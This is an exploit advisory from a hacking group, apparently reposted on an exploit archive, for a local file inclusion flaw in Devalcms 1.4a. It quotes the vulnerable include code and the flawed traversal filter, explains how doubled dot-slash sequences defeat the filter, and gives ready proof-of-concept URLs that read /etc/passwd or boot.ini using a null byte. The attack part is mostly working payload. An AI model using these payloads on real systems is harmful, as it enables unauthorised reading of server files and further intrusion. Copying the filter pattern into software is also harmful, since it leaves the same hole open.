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Devalcms 1.4a (currentfile) Local File Inclusion Vulnerability

Author

CWH Underground

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-3188

Category

web applications

Date add

14-06-2008

Platform

unsorted

==============================================================
Devalcms 1.4a (currentfile) Local File Inclusion Vulnerability
==============================================================




 ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 15 June 2008


#####################################################
APPLICATION : Devalcms
VERSION     : 1.4a
DOWNLOAD    : http://downloads.sourceforge.net/devalcms
#####################################################

--- LFI ---

** magic_quotes_gpc = Off **

-------------------------
 Vulnerable in func.php
-------------------------
@Line 
   
   13:  $myfile = $gv_folder_data . $currentpath . "/" . $myfile;
   14:
   15:  if(is_file($myfile)){
   16:  	include($myfile);
   17:  } else {
   18: 	        echo "not found";
   19:  }
    .
    .
    .
   98: function mystriprelative($mytext)
   99: {
  100:	$mytext2 = $mytext;
  101:	$mytext2 = str_replace("/..","",$mytext2);
  102:	$mytext2 = str_replace("\\..","",$mytext2);
  103:	$mytext2 = str_replace("../","",$mytext2);
  104:	$mytext2 = str_replace("..\\","",$mytext2);
  105:	return $mytext2;	
  106: }
   
-------------------------
 Detail of vulnerability
-------------------------
    Function mystriprelative is a function to prevent user from inserting relative path into variable.
As the code above, you can bypass this fuction by something like following

Simple Algorithm:

[+] When we use ".../...//" Function will convert to "../"
[+] When we use "./.....//" Function will convert to "../"
[+] When we use ".../...//./.....//" Function will convert to "../../"

    So we must use ".../...//./.....//./.....//etc/passwd%00" Function will convert to "../../../etc/passwd%00"

-------------
 POC Exploit
-------------

For Windows:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//boot.ini%00

For Linux:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//etc/passwd%00

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################



#  0day.today [2024-12-26]  #

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Devalcms 1.4a (currentfile) Local File Inclusion Vulnerability

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